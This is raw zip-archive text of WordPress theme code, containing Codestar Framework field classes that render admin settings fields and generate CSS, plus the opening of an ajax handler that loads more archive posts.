      ) );

      echo $this->field_before();

      echo '<div class="csf--spin"><input type="number" name="'. esc_attr( $this->field_name() ) .'" value="'. esc_attr( $this->value ) .'"'. $this->field_attributes( array( 'class' => 'csf-input-number' ) ) .' data-min="'. esc_attr( $args['min'] ) .'" data-max="'. esc_attr( $args['max'] ) .'" data-step="'. esc_attr( $args['step'] ) .'" data-unit="'. esc_attr( $args['unit'] ) .'" step="any" /></div>';

      echo $this->field_after();

    }

    public function enqueue() {

      if ( ! wp_script_is( 'jquery-ui-spinner' ) ) {
        wp_enqueue_script( 'jquery-ui-spinner' );
      }

    }

    public function output() {

      $output    = '';
      $elements  = ( is_array( $this->field['output'] ) ) ? $this->field['output'] : array_filter( (array) $this->field['output'] );
      $important = ( ! empty( $this->field['output_important'] ) ) ? '!important' : '';
      $mode      = ( ! empty( $this->field['output_mode'] ) ) ? $this->field['output_mode'] : 'width';
      $unit      = ( ! empty( $this->field['unit'] ) ) ? $this->field['unit'] : 'px';

      if ( ! empty( $elements ) && isset( $this->value ) && $this->value !== '' ) {
        foreach ( $elements as $key_property => $element ) {
          if ( is_numeric( $key_property ) ) {
            if ( $mode ) {
              $output = implode( ',', $elements ) .'{'. $mode .':'. $this->value . $unit . $important .';}';
            }
            break;
          } else {
            $output .= $element .'{'. $key_property .':'. $this->value . $unit . $important .'}';
          }
        }
      }

      $this->parent->output_css .= $output;

      return $output;

    }

  }
}
PK     2w\5?    (  options/framework/fields/group/group.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: group
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_group' ) ) {
  class CSF_Field_group extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'max'                       => 0,
        'min'                       => 0,
        'fields'                    => array(),
        'button_title'              => esc_html__( 'Add New', 'csf' ),
        'accordion_title_prefix'    => '',
        'accordion_title_number'    => false,
        'accordion_title_auto'      => true,
        'accordion_title_by'        => array(),
        'accordion_title_by_prefix' => ' ',
      ) );

      $title_prefix    = ( ! empty( $args['accordion_title_prefix'] ) ) ? $args['accordion_title_prefix'] : '';
      $title_number    = ( ! empty( $args['accordion_title_number'] ) ) ? true : false;
      $title_auto      = ( ! empty( $args['accordion_title_auto'] ) ) ? true : false;
      $title_first     = ( isset( $this->field['fields'][0]['id'] ) ) ? $this->field['fields'][0]['id'] : $this->field['fields'][1]['id'];
      $title_by        = ( is_array( $args['accordion_title_by'] ) ) ? $args['accordion_title_by'] : (array) $args['accordion_title_by'];
      $title_by        = ( empty( $title_by ) ) ? array( $title_first ) : $title_by;
      $title_by_prefix = ( ! empty( $args['accordion_title_by_prefix'] ) ) ? $args['accordion_title_by_prefix'] : '';

      if ( preg_match( '/'. preg_quote( '['. $this->field['id'] .']' ) .'/', $this->unique ) ) {

        echo '<div class="csf-notice csf-notice-danger">'. esc_html__( 'Error: Field ID conflict.', 'csf' ) .'</div>';

      } else {

        echo $this->field_before();

        echo '<div class="csf-cloneable-item csf-cloneable-hidden" data-depend-id="'. esc_attr( $this->field['id'] ) .'">';

          echo '<div class="csf-cloneable-helper">';
          echo '<i class="csf-cloneable-sort fas fa-arrows-alt"></i>';
          echo '<i class="csf-cloneable-clone far fa-clone"></i>';
          echo '<i class="csf-cloneable-remove csf-confirm fas fa-times" data-confirm="'. esc_html__( 'Are you sure to delete this item?', 'csf' ) .'"></i>';
          echo '</div>';

          echo '<h4 class="csf-cloneable-title">';
          echo '<span class="csf-cloneable-text">';
          echo ( $title_number ) ? '<span class="csf-cloneable-title-number"></span>' : '';
          echo ( $title_prefix ) ? '<span class="csf-cloneable-title-prefix">'. esc_attr( $title_prefix ) .'</span>' : '';
          echo ( $title_auto ) ? '<span class="csf-cloneable-value"><span class="csf-cloneable-placeholder"></span></span>' : '';
          echo '</span>';
          echo '</h4>';

          echo '<div class="csf-cloneable-content">';
          foreach ( $this->field['fields'] as $field ) {

            $field_default = ( isset( $field['default'] ) ) ? $field['default'] : '';
            $field_unique  = ( ! empty( $this->unique ) ) ? $this->unique .'['. $this->field['id'] .'][0]' : $this->field['id'] .'[0]';

            CSF::field( $field, $field_default, '___'. $field_unique, 'field/group' );

          }
          echo '</div>';

        echo '</div>';

        echo '<div class="csf-cloneable-wrapper csf-data-wrapper" data-title-by="'. esc_attr( json_encode( $title_by ) ) .'" data-title-by-prefix="'. esc_attr( $title_by_prefix ) .'" data-title-number="'. esc_attr( $title_number ) .'" data-field-id="['. esc_attr( $this->field['id'] ) .']" data-max="'. esc_attr( $args['max'] ) .'" data-min="'. esc_attr( $args['min'] ) .'">';

        if ( ! empty( $this->value ) ) {

          $num = 0;

          foreach ( $this->value as $value ) {

            $title = '';

            if ( ! empty( $title_by ) ) {

              $titles = array();

              foreach ( $title_by as $title_key ) {
                if ( isset( $value[ $title_key ] ) ) {
                  $titles[] = $value[ $title_key ];
                }
              }

              $title = join( $title_by_prefix, $titles );

            }

            $title = ( is_array( $title ) ) ? reset( $title ) : $title;

            echo '<div class="csf-cloneable-item">';

              echo '<div class="csf-cloneable-helper">';
              echo '<i class="csf-cloneable-sort fas fa-arrows-alt"></i>';
              echo '<i class="csf-cloneable-clone far fa-clone"></i>';
              echo '<i class="csf-cloneable-remove csf-confirm fas fa-times" data-confirm="'. esc_html__( 'Are you sure to delete this item?', 'csf' ) .'"></i>';
              echo '</div>';

              echo '<h4 class="csf-cloneable-title">';
              echo '<span class="csf-cloneable-text">';
              echo ( $title_number ) ? '<span class="csf-cloneable-title-number">'. esc_attr( $num+1 ) .'.</span>' : '';
              echo ( $title_prefix ) ? '<span class="csf-cloneable-title-prefix">'. esc_attr( $title_prefix ) .'</span>' : '';
              echo ( $title_auto ) ? '<span class="csf-cloneable-value">' . esc_attr( $title ) .'</span>' : '';
              echo '</span>';
              echo '</h4>';

              echo '<div class="csf-cloneable-content">';

              foreach ( $this->field['fields'] as $field ) {

                $field_unique = ( ! empty( $this->unique ) ) ? $this->unique .'['. $this->field['id'] .']['. $num .']' : $this->field['id'] .'['. $num .']';
                $field_value  = ( isset( $field['id'] ) && isset( $value[$field['id']] ) ) ? $value[$field['id']] : '';

                CSF::field( $field, $field_value, $field_unique, 'field/group' );

              }

              echo '</div>';

            echo '</div>';

            $num++;

          }

        }

        echo '</div>';

        echo '<div class="csf-cloneable-alert csf-cloneable-max">'. esc_html__( 'You cannot add more.', 'csf' ) .'</div>';
        echo '<div class="csf-cloneable-alert csf-cloneable-min">'. esc_html__( 'You cannot remove more.', 'csf' ) .'</div>';
        echo '<a href="#" class="button button-primary csf-cloneable-add">'. $args['button_title'] .'</a>';

        echo $this->field_after();

      }

    }

    public function enqueue() {

      if ( ! wp_script_is( 'jquery-ui-accordion' ) ) {
        wp_enqueue_script( 'jquery-ui-accordion' );
      }

      if ( ! wp_script_is( 'jquery-ui-sortable' ) ) {
        wp_enqueue_script( 'jquery-ui-sortable' );
      }

    }

  }
}
PK     2w\      &  options/framework/fields/text/text.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: text
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_text' ) ) {
  class CSF_Field_text extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $type = ( ! empty( $this->field['attributes']['type'] ) ) ? $this->field['attributes']['type'] : 'text';

      echo $this->field_before();

      echo '<input type="'. esc_attr( $type ) .'" name="'. esc_attr( $this->field_name() ) .'" value="'. esc_attr( $this->value ) .'"'. $this->field_attributes() .' />';

      echo $this->field_after();

    }

  }
}
PK     2w\Xbq    ,  options/framework/fields/palette/palette.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: palette
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_palette' ) ) {
  class CSF_Field_palette extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $palette = ( ! empty( $this->field['options'] ) ) ? $this->field['options'] : array();

      echo $this->field_before();

      if ( ! empty( $palette ) ) {

        echo '<div class="csf-siblings csf--palettes">';

        foreach ( $palette as $key => $colors ) {

          $active  = ( $key === $this->value ) ? ' csf--active' : '';
          $checked = ( $key === $this->value ) ? ' checked' : '';

          echo '<div class="csf--sibling csf--palette'. esc_attr( $active ) .'">';

          if ( ! empty( $colors ) ) {

            foreach ( $colors as $color ) {

              echo '<span style="background-color: '. esc_attr( $color ) .';"></span>';

            }

          }

          echo '<input type="radio" name="'. esc_attr( $this->field_name() ) .'" value="'. esc_attr( $key ) .'"'. $this->field_attributes() . esc_attr( $checked ) .'/>';
          echo '</div>';

        }

        echo '</div>';

      }

      echo $this->field_after();

    }

  }
}
PK     2w\:2    *  options/framework/fields/tabbed/tabbed.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: tabbed
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_tabbed' ) ) {
  class CSF_Field_tabbed extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $unallows = array( 'tabbed' );

      echo $this->field_before();

      echo '<div class="csf-tabbed-nav" data-depend-id="'. esc_attr( $this->field['id'] ) .'">';
      foreach ( $this->field['tabs'] as $key => $tab ) {

        $tabbed_icon   = ( ! empty( $tab['icon'] ) ) ? '<i class="csf--icon '. esc_attr( $tab['icon'] ) .'"></i>' : '';
        $tabbed_active = ( empty( $key ) ) ? 'csf-tabbed-active' : '';

        echo '<a href="#" class="'. esc_attr( $tabbed_active ) .'"">'. $tabbed_icon . esc_attr( $tab['title'] ) .'</a>';

      }
      echo '</div>';

      echo '<div class="csf-tabbed-contents">';
      foreach ( $this->field['tabs'] as $key => $tab ) {

        $tabbed_hidden = ( ! empty( $key ) ) ? ' hidden' : '';

        echo '<div class="csf-tabbed-content'. esc_attr( $tabbed_hidden ) .'">';

        foreach ( $tab['fields'] as $field ) {

          if ( in_array( $field['type'], $unallows ) ) { $field['_notice'] = true; }

          $field_id      = ( isset( $field['id'] ) ) ? $field['id'] : '';
          $field_default = ( isset( $field['default'] ) ) ? $field['default'] : '';
          $field_value   = ( isset( $this->value[$field_id] ) ) ? $this->value[$field_id] : $field_default;
          $unique_id     = ( ! empty( $this->unique ) ) ? $this->unique .'['. $this->field['id'] .']' : $this->field['id'];

          CSF::field( $field, $field_value, $unique_id, 'field/tabbed' );

        }

        echo '</div>';

      }
      echo '</div>';

      echo $this->field_after();

    }

  }
}
PK     2w\Ro2  o2  2  options/framework/fields/background/background.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: background
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_background' ) ) {
  class CSF_Field_background extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args                             = wp_parse_args( $this->field, array(
        'background_color'              => true,
        'background_image'              => true,
        'background_position'           => true,
        'background_repeat'             => true,
        'background_attachment'         => true,
        'background_size'               => true,
        'background_origin'             => false,
        'background_clip'               => false,
        'background_blend_mode'         => false,
        'background_gradient'           => false,
        'background_gradient_color'     => true,
        'background_gradient_direction' => true,
        'background_image_preview'      => true,
        'background_auto_attributes'    => false,
        'compact'                       => false,
        'background_image_library'      => 'image',
        'background_image_placeholder'  => esc_html__( 'Not selected', 'csf' ),
      ) );

      if ( $args['compact'] ) {
        $args['background_color']           = false;
        $args['background_auto_attributes'] = true;
      }

      $default_value                    = array(
        'background-color'              => '',
        'background-image'              => '',
        'background-position'           => '',
        'background-repeat'             => '',
        'background-attachment'         => '',
        'background-size'               => '',
        'background-origin'             => '',
        'background-clip'               => '',
        'background-blend-mode'         => '',
        'background-gradient-color'     => '',
        'background-gradient-direction' => '',
      );

      $default_value = ( ! empty( $this->field['default'] ) ) ? wp_parse_args( $this->field['default'], $default_value ) : $default_value;

      $this->value = wp_parse_args( $this->value, $default_value );

      echo $this->field_before();

      echo '<div class="csf--background-colors">';

      //
      // Background Color
      if ( ! empty( $args['background_color'] ) ) {

        echo '<div class="csf--color">';

        echo ( ! empty( $args['background_gradient'] ) ) ? '<div class="csf--title">'. esc_html__( 'From', 'csf' ) .'</div>' : '';

        CSF::field( array(
          'id'      => 'background-color',
          'type'    => 'color',
          'default' => $default_value['background-color'],
        ), $this->value['background-color'], $this->field_name(), 'field/background' );

        echo '</div>';

      }

      //
      // Background Gradient Color
      if ( ! empty( $args['background_gradient_color'] ) && ! empty( $args['background_gradient'] ) ) {

        echo '<div class="csf--color">';

        echo ( ! empty( $args['background_gradient'] ) ) ? '<div class="csf--title">'. esc_html__( 'To', 'csf' ) .'</div>' : '';

        CSF::field( array(
          'id'      => 'background-gradient-color',
          'type'    => 'color',
          'default' => $default_value['background-gradient-color'],
        ), $this->value['background-gradient-color'], $this->field_name(), 'field/background' );

        echo '</div>';

      }

      //
      // Background Gradient Direction
      if ( ! empty( $args['background_gradient_direction'] ) && ! empty( $args['background_gradient'] ) ) {

        echo '<div class="csf--color">';

        echo ( ! empty( $args['background_gradient'] ) ) ? '<div class="csf---title">'. esc_html__( 'Direction', 'csf' ) .'</div>' : '';

        CSF::field( array(
          'id'          => 'background-gradient-direction',
          'type'        => 'select',
          'options'     => array(
            ''          => esc_html__( 'Gradient Direction', 'csf' ),
            'to bottom' => esc_html__( '&#8659; top to bottom', 'csf' ),
            'to right'  => esc_html__( '&#8658; left to right', 'csf' ),
            '135deg'    => esc_html__( '&#8664; corner top to right', 'csf' ),
            '-135deg'   => esc_html__( '&#8665; corner top to left', 'csf' ),
          ),
        ), $this->value['background-gradient-direction'], $this->field_name(), 'field/background' );

        echo '</div>';

      }

      echo '</div>';

      //
      // Background Image
      if ( ! empty( $args['background_image'] ) ) {

        echo '<div class="csf--background-image">';

        CSF::field( array(
          'id'          => 'background-image',
          'type'        => 'media',
          'class'       => 'csf-assign-field-background',
          'library'     => $args['background_image_library'],
          'preview'     => $args['background_image_preview'],
          'placeholder' => $args['background_image_placeholder'],
          'attributes'  => array( 'data-depend-id' => $this->field['id'] ),
        ), $this->value['background-image'], $this->field_name(), 'field/background' );

        echo '</div>';

      }

      $auto_class   = ( ! empty( $args['background_auto_attributes'] ) ) ? ' csf--auto-attributes' : '';
      $hidden_class = ( ! empty( $args['background_auto_attributes'] ) && empty( $this->value['background-image']['url'] ) ) ? ' csf--attributes-hidden' : '';

      echo '<div class="csf--background-attributes'. esc_attr( $auto_class . $hidden_class ) .'">';

      //
      // Background Position
      if ( ! empty( $args['background_position'] ) ) {

        CSF::field( array(
          'id'              => 'background-position',
          'type'            => 'select',
          'options'         => array(
            ''              => esc_html__( 'Background Position', 'csf' ),
            'left top'      => esc_html__( 'Left Top', 'csf' ),
            'left center'   => esc_html__( 'Left Center', 'csf' ),
            'left bottom'   => esc_html__( 'Left Bottom', 'csf' ),
            'center top'    => esc_html__( 'Center Top', 'csf' ),
            'center center' => esc_html__( 'Center Center', 'csf' ),
            'center bottom' => esc_html__( 'Center Bottom', 'csf' ),
            'right top'     => esc_html__( 'Right Top', 'csf' ),
            'right center'  => esc_html__( 'Right Center', 'csf' ),
            'right bottom'  => esc_html__( 'Right Bottom', 'csf' ),
          ),
        ), $this->value['background-position'], $this->field_name(), 'field/background' );

      }

      //
      // Background Repeat
      if ( ! empty( $args['background_repeat'] ) ) {

        CSF::field( array(
          'id'          => 'background-repeat',
          'type'        => 'select',
          'options'     => array(
            ''          => esc_html__( 'Background Repeat', 'csf' ),
            'repeat'    => esc_html__( 'Repeat', 'csf' ),
            'no-repeat' => esc_html__( 'No Repeat', 'csf' ),
            'repeat-x'  => esc_html__( 'Repeat Horizontally', 'csf' ),
            'repeat-y'  => esc_html__( 'Repeat Vertically', 'csf' ),
          ),
        ), $this->value['background-repeat'], $this->field_name(), 'field/background' );

      }

      //
      // Background Attachment
      if ( ! empty( $args['background_attachment'] ) ) {

        CSF::field( array(
          'id'       => 'background-attachment',
          'type'     => 'select',
          'options'  => array(
            ''       => esc_html__( 'Background Attachment', 'csf' ),
            'scroll' => esc_html__( 'Scroll', 'csf' ),
            'fixed'  => esc_html__( 'Fixed', 'csf' ),
          ),
        ), $this->value['background-attachment'], $this->field_name(), 'field/background' );

      }

      //
      // Background Size
      if ( ! empty( $args['background_size'] ) ) {

        CSF::field( array(
          'id'        => 'background-size',
          'type'      => 'select',
          'options'   => array(
            ''        => esc_html__( 'Background Size', 'csf' ),
            'cover'   => esc_html__( 'Cover', 'csf' ),
            'contain' => esc_html__( 'Contain', 'csf' ),
            'auto'    => esc_html__( 'Auto', 'csf' ),
          ),
        ), $this->value['background-size'], $this->field_name(), 'field/background' );

      }

      //
      // Background Origin
      if ( ! empty( $args['background_origin'] ) ) {

        CSF::field( array(
          'id'            => 'background-origin',
          'type'          => 'select',
          'options'       => array(
            ''            => esc_html__( 'Background Origin', 'csf' ),
            'padding-box' => esc_html__( 'Padding Box', 'csf' ),
            'border-box'  => esc_html__( 'Border Box', 'csf' ),
            'content-box' => esc_html__( 'Content Box', 'csf' ),
          ),
        ), $this->value['background-origin'], $this->field_name(), 'field/background' );

      }

      //
      // Background Clip
      if ( ! empty( $args['background_clip'] ) ) {

        CSF::field( array(
          'id'            => 'background-clip',
          'type'          => 'select',
          'options'       => array(
            ''            => esc_html__( 'Background Clip', 'csf' ),
            'border-box'  => esc_html__( 'Border Box', 'csf' ),
            'padding-box' => esc_html__( 'Padding Box', 'csf' ),
            'content-box' => esc_html__( 'Content Box', 'csf' ),
          ),
        ), $this->value['background-clip'], $this->field_name(), 'field/background' );

      }

      //
      // Background Blend Mode
      if ( ! empty( $args['background_blend_mode'] ) ) {

        CSF::field( array(
          'id'            => 'background-blend-mode',
          'type'          => 'select',
          'options'       => array(
            ''            => esc_html__( 'Background Blend Mode', 'csf' ),
            'normal'      => esc_html__( 'Normal', 'csf' ),
            'multiply'    => esc_html__( 'Multiply', 'csf' ),
            'screen'      => esc_html__( 'Screen', 'csf' ),
            'overlay'     => esc_html__( 'Overlay', 'csf' ),
            'darken'      => esc_html__( 'Darken', 'csf' ),
            'lighten'     => esc_html__( 'Lighten', 'csf' ),
            'color-dodge' => esc_html__( 'Color Dodge', 'csf' ),
            'saturation'  => esc_html__( 'Saturation', 'csf' ),
            'color'       => esc_html__( 'Color', 'csf' ),
            'luminosity'  => esc_html__( 'Luminosity', 'csf' ),
          ),
        ), $this->value['background-blend-mode'], $this->field_name(), 'field/background' );

      }

      echo '</div>';

      echo $this->field_after();

    }

    public function output() {

      $output    = '';
      $bg_image  = array();
      $important = ( ! empty( $this->field['output_important'] ) ) ? '!important' : '';
      $element   = ( is_array( $this->field['output'] ) ) ? join( ',', $this->field['output'] ) : $this->field['output'];

      // Background image and gradient
      $background_color        = ( ! empty( $this->value['background-color']              ) ) ? $this->value['background-color']              : '';
      $background_gd_color     = ( ! empty( $this->value['background-gradient-color']     ) ) ? $this->value['background-gradient-color']     : '';
      $background_gd_direction = ( ! empty( $this->value['background-gradient-direction'] ) ) ? $this->value['background-gradient-direction'] : '';
      $background_image        = ( ! empty( $this->value['background-image']['url']       ) ) ? $this->value['background-image']['url']       : '';


      if ( $background_color && $background_gd_color ) {
        $gd_direction   = ( $background_gd_direction ) ? $background_gd_direction .',' : '';
        $bg_image[] = 'linear-gradient('. $gd_direction . $background_color .','. $background_gd_color .')';
        unset( $this->value['background-color'] );
      }

      if ( $background_image ) {
        $bg_image[] = 'url('. $background_image .')';
      }

      if ( ! empty( $bg_image ) ) {
        $output .= 'background-image:'. implode( ',', $bg_image ) . $important .';';
      }

      // Common background properties
      $properties = array( 'color', 'position', 'repeat', 'attachment', 'size', 'origin', 'clip', 'blend-mode' );

      foreach ( $properties as $property ) {
        $property = 'background-'. $property;
        if ( ! empty( $this->value[$property] ) ) {
          $output .= $property .':'. $this->value[$property] . $important .';';
        }
      }

      if ( $output ) {
        $output = $element .'{'. $output .'}';
      }

      $this->parent->output_css .= $output;

      return $output;

    }

  }
}
PK     2w\ջ(  (  4  options/framework/fields/code_editor/code_editor.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: code_editor
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_code_editor' ) ) {
  class CSF_Field_code_editor extends CSF_Fields {

    public $version = '6.65.7';
    public $cdn_url = 'https://cdn.jsdelivr.net/npm/codemirror@';

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $default_settings = array(
        'tabSize'       => 2,
        'lineNumbers'   => true,
        'theme'         => 'default',
        'mode'          => 'htmlmixed',
        'cdnURL'        => $this->cdn_url . $this->version,
      );

      $settings = ( ! empty( $this->field['settings'] ) ) ? $this->field['settings'] : array();
      $settings = wp_parse_args( $settings, $default_settings );

      echo $this->field_before();
      echo '<textarea name="'. esc_attr( $this->field_name() ) .'"'. $this->field_attributes() .' data-editor="'. esc_attr( json_encode( $settings ) ) .'">'. $this->value .'</textarea>';
      echo $this->field_after();

    }

    public function enqueue() {

      $page = ( ! empty( $_GET[ 'page' ] ) ) ? sanitize_text_field( wp_unslash( $_GET[ 'page' ] ) ) : '';

      // Do not loads CodeMirror in revslider page.
      if ( in_array( $page, array( 'revslider' ) ) ) { return; }

      if ( ! wp_script_is( 'csf-codemirror' ) ) {
        wp_enqueue_script( 'csf-codemirror', esc_url( $this->cdn_url . $this->version .'/lib/codemirror.min.js' ), array( 'csf' ), $this->version, true );
        wp_enqueue_script( 'csf-codemirror-loadmode', esc_url( $this->cdn_url . $this->version .'/addon/mode/loadmode.min.js' ), array( 'csf-codemirror' ), $this->version, true );
      }

      if ( ! wp_style_is( 'csf-codemirror' ) ) {
        wp_enqueue_style( 'csf-codemirror', esc_url( $this->cdn_url . $this->version .'/lib/codemirror.min.css' ), array(), $this->version );
      }

    }

  }
}
PK     2w\upG    2  options/framework/fields/link_color/link_color.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: link_color
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_link_color' ) ) {
  class CSF_Field_link_color extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'color'   => true,
        'hover'   => true,
        'active'  => false,
        'visited' => false,
        'focus'   => false,
      ) );

      $default_values = array(
        'color'   => '',
        'hover'   => '',
        'active'  => '',
        'visited' => '',
        'focus'   => '',
      );

      $color_props = array(
        'color'    => esc_html__( 'Normal', 'csf' ),
        'hover'    => esc_html__( 'Hover', 'csf' ),
        'active'   => esc_html__( 'Active', 'csf' ),
        'visited'  => esc_html__( 'Visited', 'csf' ),
        'focus'    => esc_html__( 'Focus', 'csf' )
      );

      $value = wp_parse_args( $this->value, $default_values );

      echo $this->field_before();

      foreach ( $color_props as $color_prop_key => $color_prop_value ) {

        if ( ! empty( $args[$color_prop_key] ) ) {

          $default_attr = ( ! empty( $this->field['default'][$color_prop_key] ) ) ? ' data-default-color="'. esc_attr( $this->field['default'][$color_prop_key] ) .'"' : '';

          echo '<div class="csf--left csf-field-color">';
          echo '<div class="csf--title">'. esc_attr( $color_prop_value ) .'</div>';
          echo '<input type="text" name="'. esc_attr( $this->field_name( '['. $color_prop_key .']' ) ) .'" value="'. esc_attr( $value[$color_prop_key] ) .'" class="csf-color"'. $default_attr . $this->field_attributes() .'/>';
          echo '</div>';

        }

      }

      echo $this->field_after();

    }

    public function output() {

      $output    = '';
      $elements  = ( is_array( $this->field['output'] ) ) ? $this->field['output'] : array_filter( (array) $this->field['output'] );
      $important = ( ! empty( $this->field['output_important'] ) ) ? '!important' : '';

      if ( ! empty( $elements ) && isset( $this->value ) && $this->value !== '' ) {
        foreach ( $elements as $element ) {

          if ( isset( $this->value['color']   ) && $this->value['color']   !== '' ) { $output .= $element .'{color:'.         $this->value['color']   . $important .';}'; }
          if ( isset( $this->value['hover']   ) && $this->value['hover']   !== '' ) { $output .= $element .':hover{color:'.   $this->value['hover']   . $important .';}'; }
          if ( isset( $this->value['active']  ) && $this->value['active']  !== '' ) { $output .= $element .':active{color:'.  $this->value['active']  . $important .';}'; }
          if ( isset( $this->value['visited'] ) && $this->value['visited'] !== '' ) { $output .= $element .':visited{color:'. $this->value['visited'] . $important .';}'; }
          if ( isset( $this->value['focus']   ) && $this->value['focus']   !== '' ) { $output .= $element .':focus{color:'.   $this->value['focus']   . $important .';}'; }

        }
      }

      $this->parent->output_css .= $output;

      return $output;

    }

  }
}
PK     2w\J$e    .  options/framework/fields/repeater/repeater.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: repeater
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_repeater' ) ) {
  class CSF_Field_repeater extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'max'          => 0,
        'min'          => 0,
        'button_title' => '<i class="fas fa-plus-circle"></i>',
      ) );

      if ( preg_match( '/'. preg_quote( '['. $this->field['id'] .']' ) .'/', $this->unique ) ) {

        echo '<div class="csf-notice csf-notice-danger">'. esc_html__( 'Error: Field ID conflict.', 'csf' ) .'</div>';

      } else {

        echo $this->field_before();

        echo '<div class="csf-repeater-item csf-repeater-hidden" data-depend-id="'. esc_attr( $this->field['id'] ) .'">';
        echo '<div class="csf-repeater-content">';
        foreach ( $this->field['fields'] as $field ) {

          $field_default = ( isset( $field['default'] ) ) ? $field['default'] : '';
          $field_unique  = ( ! empty( $this->unique ) ) ? $this->unique .'['. $this->field['id'] .'][0]' : $this->field['id'] .'[0]';

          CSF::field( $field, $field_default, '___'. $field_unique, 'field/repeater' );

        }
        echo '</div>';
        echo '<div class="csf-repeater-helper">';
        echo '<div class="csf-repeater-helper-inner">';
        echo '<i class="csf-repeater-sort fas fa-arrows-alt"></i>';
        echo '<i class="csf-repeater-clone far fa-clone"></i>';
        echo '<i class="csf-repeater-remove csf-confirm fas fa-times" data-confirm="'. esc_html__( 'Are you sure to delete this item?', 'csf' ) .'"></i>';
        echo '</div>';
        echo '</div>';
        echo '</div>';

        echo '<div class="csf-repeater-wrapper csf-data-wrapper" data-field-id="['. esc_attr( $this->field['id'] ) .']" data-max="'. esc_attr( $args['max'] ) .'" data-min="'. esc_attr( $args['min'] ) .'">';

        if ( ! empty( $this->value ) && is_array( $this->value ) ) {

          $num = 0;

          foreach ( $this->value as $key => $value ) {

            echo '<div class="csf-repeater-item">';
            echo '<div class="csf-repeater-content">';
            foreach ( $this->field['fields'] as $field ) {

              $field_unique = ( ! empty( $this->unique ) ) ? $this->unique .'['. $this->field['id'] .']['. $num .']' : $this->field['id'] .'['. $num .']';
              $field_value  = ( isset( $field['id'] ) && isset( $this->value[$key][$field['id']] ) ) ? $this->value[$key][$field['id']] : '';

              CSF::field( $field, $field_value, $field_unique, 'field/repeater' );

            }
            echo '</div>';
            echo '<div class="csf-repeater-helper">';
            echo '<div class="csf-repeater-helper-inner">';
            echo '<i class="csf-repeater-sort fas fa-arrows-alt"></i>';
            echo '<i class="csf-repeater-clone far fa-clone"></i>';
            echo '<i class="csf-repeater-remove csf-confirm fas fa-times" data-confirm="'. esc_html__( 'Are you sure to delete this item?', 'csf' ) .'"></i>';
            echo '</div>';
            echo '</div>';
            echo '</div>';

            $num++;

          }

        }

        echo '</div>';

        echo '<div class="csf-repeater-alert csf-repeater-max">'. esc_html__( 'You cannot add more.', 'csf' ) .'</div>';
        echo '<div class="csf-repeater-alert csf-repeater-min">'. esc_html__( 'You cannot remove more.', 'csf' ) .'</div>';
        echo '<a href="#" class="button button-primary csf-repeater-add">'. $args['button_title'] .'</a>';

        echo $this->field_after();

      }

    }

    public function enqueue() {

      if ( ! wp_script_is( 'jquery-ui-sortable' ) ) {
        wp_enqueue_script( 'jquery-ui-sortable' );
      }

    }

  }
}
PK     2w\A      ajax.phpnu [        <?php
/**
 * Functions callback when more posts clicked for archive pages
 *
 * @since 6.0
 */
if (!function_exists('penci_archive_more_post_ajax_func')):

	add_action('wp_ajax_nopriv_penci_archive_more_post_ajax', 'penci_archive_more_post_ajax_func');
	add_action('wp_ajax_penci_archive_more_post_ajax', 'penci_archive_more_post_ajax_func');

	function penci_archive_more_post_ajax_func() {
		check_ajax_referer('archive-more-post', 'nonce');

		$ppp = (isset($_POST['ppp'])) ? (int) $_POST['ppp'] : 4;
		$order_get = (isset($_POST['order'])) ? sanitize_text_field( $_POST['order'] ) : '';
		$offset = (isset($_POST['offset'])) ? (int) $_POST['offset'] : 0;
		$layout = (isset($_POST['layout'])) ? sanitize_file_name( $_POST['layout'] ) : 'grid';
